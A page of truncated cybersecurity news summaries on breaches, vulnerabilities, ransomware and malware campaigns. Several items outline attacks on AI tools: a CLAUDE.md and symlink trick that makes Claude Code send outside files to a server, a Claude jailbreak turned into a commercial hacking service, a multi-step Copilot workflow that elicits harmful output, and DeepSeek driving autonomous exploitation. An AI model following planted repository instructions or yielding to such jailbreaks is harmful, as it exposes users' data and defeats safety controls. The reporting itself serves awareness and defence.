Category: Cybersecurity

CareCloud has begun notifying about 345,000 people that hackers accessed and removed sensitive medical, financial and identity information from an electronic health record environment operated by its CareCloud Health division. The compromised information may include names, residential addresses, dates of birth, Social Security numbers, driving licence and passport details, medical record numbers and health insurance information. Clinical data such as diagnoses, treatment details, prescription information, laboratory results and provider names may also have been exposed. Financial information potentially affected includes bank account

A Chinese-speaking hacker used DeepSeek artificial intelligence to autonomously identify vulnerable systems, obtain publicly available exploit code and launch attacks against hundreds of internet-facing targets, exposing how generative AI is moving closer to independently conducting offensive cyber operations. The campaign involved more than 460 targets and combined AI-directed activity with conventional manual hacking. The operator, who used the online aliases “knaithe” and “KnYuan”, controlled an open-source framework called Hermes Agent through Telegram. DeepSeek functioned as its principal reasoning engine, selecting targets,

Amazon Web Services has attributed a series of compromises involving widely used npm software packages, including Axios, Debug and Chalk, to a financially motivated hacking group linked to North Korea. The findings connect attacks previously treated as separate incidents to one threat actor that infiltrated the accounts or computers of trusted open-source maintainers. The attackers then published malicious updates capable of stealing credentials, installing remote-access tools and opening thousands of downstream systems to further intrusion. Amazon Threat Intelligence assessed with medium confidence

A custom ransomware family linked to the Toy Ghouls cybercrime group is targeting Windows, Linux and VMware ESXi systems, giving its operators the ability to disrupt entire corporate networks through a single attack campaign. GenieLocker has been active since March 2026 and has mainly struck organisations in Russia, with manufacturing companies bearing much of the activity. Construction, financial services, retail and technology businesses have also encountered the malware, indicating that its operators may be widening their target profile. Toy Ghouls, also tracked

LogoKit has evolved into a cloud-based phishing platform capable of constructing customised fake login pages for individual victims as soon as they click a malicious link. The kit uses a person’s email domain to identify their organisation, retrieve authentic branding and capture an image of the organisation’s genuine website. The material is then assembled into a convincing credential-harvesting page designed to resemble the victim’s familiar online environment. Security researchers examining active LogoKit campaigns found that the service used Thum. io, a commercial

Google has released Chrome 151 with fixes for 370 security vulnerabilities, including seven critical flaws capable of exposing users and organisations to serious attacks. The update began rolling out on July 29 for Windows, macOS and Linux. Chrome 151.0.7922.71 and 151.0.7922.72 are being distributed to Windows and Mac devices, while Linux systems are receiving version 151.0.7922.71. The Android release, carrying the same core security fixes, is being made available through Google Play. Four of the critical vulnerabilities are use-after-free defects affecting Chrome’s

A high-severity flaw in Firefox’s JavaScript engine can allow attackers to compromise unpatched Tor Browser installations when a user visits a specially crafted webpage, security researchers have demonstrated. The vulnerability, tracked as CVE-2026-10702, affects the just-in-time compiler used to improve JavaScript performance. A programming error can cause the compiler to generate unsafe machine code, giving an attacker the ability to execute commands within the browser’s content process without requiring a download, login or additional click. Mozilla fixed the flaw in Firefox 151.0.3

Three high-severity vulnerabilities in Hugging Face’s Diffusers library can allow malicious model repositories to execute arbitrary Python code even when users disable remote-code execution, exposing weaknesses in a key security control used across artificial intelligence development environments. The flaws affect Diffusers versions earlier than 0.38.0 and centre on the library’s trustremotecode safeguard. Developers rely on this setting to prevent unreviewed code bundled with models or pipelines from running on their systems. Crafted repositories could bypass that protection during several common loading

A Linux kernel vulnerability capable of giving a local attacker root access has been publicly detailed after artificial intelligence helped a security researcher identify and weaponise a race condition in the operating system’s network traffic-control subsystem. The flaw, tracked as CVE-2026-53264, affects the kernel’s net/sched component and carries a severity score of 7.8. It is a use-after-free vulnerability that can allow an ordinary user with access to a vulnerable machine to gain the highest level of system privileges. Lee Jia Jie of

Attackers are exploiting a critical vulnerability in Alibaba’s Fastjson library that can allow unauthenticated remote code execution on Java servers, raising urgent concerns for organisations running older versions of the widely deployed software component. The flaw, tracked as CVE-2026-16723, affects Fastjson 1. x installations under specific configurations and carries a severity score of 9.0 out of 10. Successful exploitation can give an attacker control of a vulnerable application with the same privileges as the Java process, potentially enabling data theft, malware

A malvertising operation targeting traders and cryptocurrency users is assembling malicious Windows software inside victims’ browsers, allowing each downloaded file to evade conventional fingerprint-based security checks. The campaign, known as SourTrade, uses sponsored advertisements and imitation websites resembling TradingView, Solana and Luno. Rather than transmitting a complete malicious program, the sites send instructions and separate components that the browser combines into an executable file on the user’s device. The technique represents a significant change in malware delivery. Network security products inspecting downloaded

Multiple high-severity vulnerabilities in FFmpeg have exposed media-processing systems to memory corruption, information leakage and service disruption when they handle malicious video, audio, image or subtitle files. The newly catalogued flaws affect FFmpeg 8.1.2 and, depending on the vulnerability, several older branches. They are especially significant for cloud transcoding services, streaming platforms, social networks, content-management systems and artificial intelligence applications that automatically process files supplied by users. Security records identify weaknesses across FFmpeg’s decoders, encoders, filters, demuxers and hardware-acceleration components. Several could

A critical vBulletin vulnerability has exposed unpatched forum servers to remote takeover through malicious requests that require no login credentials or user interaction. Tracked as CVE-2026-61511, the flaw allows an unauthenticated attacker to inject code into vBulletin’s template-processing system and execute arbitrary PHP commands on the underlying server. Successful exploitation could enable intruders to steal data, modify forum content, install malware, create backdoors or use the compromised machine to attack other systems. The vulnerability affects vBulletin 5. x versions through 5.7.5 and

A developer project has demonstrated an experimental jailbreak process for iOS 27 on Apple’s iPhone 11 Pro, using the hardware-level usbliter8 exploit and a heavily modified firmware restoration workflow. The open-source project, known as usbliter8-fun, is designed solely for security researchers and experienced developers. Its creator warns that the procedure erases the device, disables several core functions and can leave the handset unsuitable for ordinary use. The proof of concept currently supports only the iPhone 11 Pro, identified internally as iPhone12,3. That

Iran-affiliated hackers are exploiting internet-connected industrial controllers across US water, energy and government facilities, expanding their targets to equipment made by Rockwell Automation, Schneider Electric and Siemens. A July 22 update to a joint federal cybersecurity advisory confirmed that the campaign has moved beyond Rockwell Automation’s Allen-Bradley controllers. The affected equipment now includes Schneider Electric BMX P34 and Modicon M340 programmable logic controllers, as well as Siemens S7-1200 devices. Other brands may also be exposed where controllers can be reached directly

Cybersecurity researchers have renewed warnings over SparkKitty, a cross-platform mobile Trojan that steals photographs from compromised Android and iOS devices and transfers them to attacker-controlled command servers. The malware targets images that may expose cryptocurrency wallet recovery phrases, passwords, identity documents, QR codes and financial information. Its ability to capture entire photo libraries also creates risks beyond digital-asset theft, including account takeover, identity fraud, surveillance and extortion. SparkKitty was first documented in June 2025 after being found inside applications distributed through Apple’s

A flaw in Claude Code’s project-memory system can cause sensitive files outside a downloaded software repository to be transmitted to Anthropic’s servers without a separate warning or approval request, security researchers have found. The weakness affects the way Anthropic’s artificial intelligence coding assistant processes symbolic links while loading project instructions at startup. A malicious repository can contain a CLAUDE. md file that imports another file through a link appearing to remain within the project directory. The computer’s operating system can then

Infostealer malware is giving ransomware operators a faster route into corporate networks by supplying stolen passwords, browser cookies and authentication tokens that can defeat conventional identity controls. The growing trade in “stealer logs” has turned infections on individual computers into a dependable source of access for organised cybercrime groups. Criminals can search the harvested data for corporate email addresses, virtual private network credentials, cloud accounts, remote desktop services and privileged administrator sessions. Unlike traditional password theft, stealer logs can contain active browser

A weakness in Anthropic’s Claude Code can allow a repository to send the contents of files outside its project directory to an external server when a developer starts the coding assistant, security researchers have disclosed. The technique relies on a symbolic link placed inside an otherwise ordinary software repository. When combined with instructions in a CLAUDE. md file, the link can direct Claude Code towards sensitive material elsewhere on the developer’s computer and include that information in the first request transmitted

Ransomware attacks on universities rose during the first half of 2026 as a fast-expanding cybercrime operation called The Gentlemen intensified its focus on higher education institutions across several continents. Higher education attacks increased by more than 8% compared with the second half of 2025, even as ransomware incidents across the broader education sector fell by 13%. Researchers recorded 104 attacks on schools, colleges and universities worldwide between January and June, including 36 incidents confirmed by the targeted organisations. The Gentlemen claimed 15

Cyber attackers have compromised hotel and conference-centre Wi-Fi gateways to redirect business travellers towards fake Microsoft authentication pages, creating a scalable route for stealing corporate credentials and cloud-access tokens. The campaign has affected hospitality networks across several US cities, as well as locations in India and Saudi Arabia. Activity has been detected since at least June 2026, with visitors from financial services, law, healthcare, energy, retail and other industries connecting through manipulated gateways. The operation differs from conventional phishing because attackers do

Hackers are using a legitimate copy of Notepad++ and a disguised plugin to install malware on Windows computers, allowing malicious code to run through the text editor’s normal extension-loading process. The campaign has been linked to UAC-0099, a threat cluster known for targeting government bodies, defence organisations and strategically important enterprises in Ukraine. The revised infection chain, detected from mid-July, deploys two newly identified tools called LUNCHPOKE and BURNYBEAR, followed by an updated version of the MATCHBOIL malware loader. The operation does

Iran-linked cyber actors are targeting internet-connected industrial control systems used across US water, energy, manufacturing and public-service networks, prompting an expanded federal warning covering equipment made by Siemens, Schneider Electric and Rockwell Automation. The updated alert says attackers have gained access to programmable logic controllers, or PLCs, which manage physical processes inside critical infrastructure. Intruders have downloaded malicious project files, altered control logic and manipulated information shown on operator displays, creating risks of disruption, financial losses and unsafe operating conditions. Investigators identified

A Russian-speaking cybercriminal has transformed techniques for bypassing Claude’s safety controls into a commercial artificial intelligence platform marketed for offensive penetration testing. The operator, using the online name Trim, moved from publishing a detailed jailbreak tutorial on a Russian-language cybercrime forum on 31 March to advertising a working product called AI Pentest Checker on 21 June. The three-month progression illustrates how quickly instructions for manipulating mainstream AI systems can be converted into services aimed at hackers. Researchers tracking the activity said the

Project CAV3RN has adopted a new communication module that hides command-and-control traffic inside Outlook calendar events, marking a significant upgrade to the cyberespionage framework’s efforts to evade conventional network monitoring. The module, named AzureCommunication. dll, appears designed to replace an earlier component that exchanged instructions and stolen data through HTTP and WebSocket connections. It instead uses Microsoft Graph to access a compromised Microsoft 365 mailbox, turning calendar entries and their attachments into concealed communication points between operators and infected systems. Researchers have

Craneware has disclosed a cyberattack that allowed an unauthorised party to extract employee information and records linked to customers and business partners, raising fresh concerns about technology supply-chain risks across the US healthcare sector. The Edinburgh-based healthcare software provider said attackers gained access to a limited section of its data environment. A significant volume of file names was viewed and removed, while an unspecified proportion of employee data and a subset of customer and partner records were also taken. The company said

WordPress has issued emergency security updates to block a critical vulnerability that allowed unauthenticated attackers to execute code on websites running standard installations without plugins. The flaw, dubbed “wp2shell” and tracked as CVE-2026-63030, affected WordPress 6.9.0 through 6.9.4 and versions 7.0.0 and 7.0.1. WordPress released versions 6.9.5 and 7.0.2 on July 17, urging administrators to install the patches immediately. The vulnerability carried exceptional risk because an attacker did not require a valid account, administrator privileges or user interaction. A specially prepared

Magnet Forensics has accused a former contractor of disclosing confidential information about an undisclosed iPhone vulnerability to a rival cybersecurity company, potentially destroying the commercial value of a hacking capability used by government investigators. The Canadian digital forensics company filed a federal lawsuit against exploit engineer Mario Del Gaudio and Spain-based Paradigm Shift Technology S. L. The complaint alleges that Paradigm Shift published technical research derived from Magnet’s trade secrets, exposing a flaw affecting Apple’s A12 and A13 processors. Magnet lodged the

Hackers linked to China and India separately infiltrated Pakistan’s law-enforcement infrastructure, exposing systems containing criminal records, biometric information, personnel files and citizen complaints during espionage campaigns that lasted more than two years. The operations, detected between February 2024 and April 2026, converged most heavily on Balochistan Police, the principal law-enforcement agency in the strategically important south-western province. Khyber Pakhtunkhwa Police, Islamabad Police and the Punjab Safe Cities Authority were also targeted. The campaigns appeared to be independent rather than coordinated. Their overlap

Artificial intelligence is making cyber attackers faster and more effective while creating new security weaknesses through autonomous software tools, malware and increasingly sophisticated social-engineering campaigns. ESET’s Threat Report for the first half of 2026 found that criminals are using AI less as a substitute for technical expertise than as a force multiplier. The technology is helping attackers prepare convincing lures, automate repetitive work, adapt malicious code and expand campaigns at a speed that would otherwise require larger teams. The report, covering threat

GitHub Copilot generated harmful material in every test conducted through a carefully constructed coding workflow, exposing a sharp divide between safeguards in conversational chat and the behaviour of artificial intelligence agents operating across multiple development steps. Researchers Abhishek Kumar and Carsten Maple at the Alan Turing Institute in London tested Copilot inside Visual Studio Code using 204 harmful prompts drawn from three established safety benchmarks. The study covered four model backends available through the coding assistant: Anthropic’s Claude Sonnet 4.6 and

A newly identified ransomware operation is using a Microsoft-signed malicious driver to disable cybersecurity protections before encrypting files, exposing a dangerous weakness in the trust mechanisms underpinning Windows systems. The malware, named GodDamn, deploys the PoisonX kernel driver to terminate antivirus and endpoint detection and response processes. Kernel-level access gives the driver extensive control over an infected computer, allowing attackers to neutralise defensive software that might otherwise detect or stop the ransomware. GodDamn was first observed on May 21, 2026, and appears

A new artificial intelligence system has autonomously identified and exploited security weaknesses in laboratory-based Internet of Things environments, completing 95% of 260 attempted attacks. The framework, named VEXAIoT, uses cooperating AI agents to scan networks, identify vulnerable services, devise attack plans and execute exploits with limited human involvement. Researchers tested it against IoTGoat and Metasploitable2, two deliberately vulnerable platforms used for cybersecurity training and controlled experimentation. VEXAIoT achieved a 94.5% success rate on IoTGoat, completing 189 of 200 attack attempts. It succeeded

A flaw in the BIOS firmware of several Dell computers can allow attackers with physical access to recover administrator and user passwords from the device’s flash memory without brute-force cracking. The vulnerability, tracked as CVE-2026-40639, affects the way certain Dell client platforms protect passwords stored in the system’s Serial Peripheral Interface flash chip. Dell has classified the issue as a medium-severity weakness and released BIOS updates for a range of affected products. Successful exploitation could give an unauthenticated attacker elevated privileges at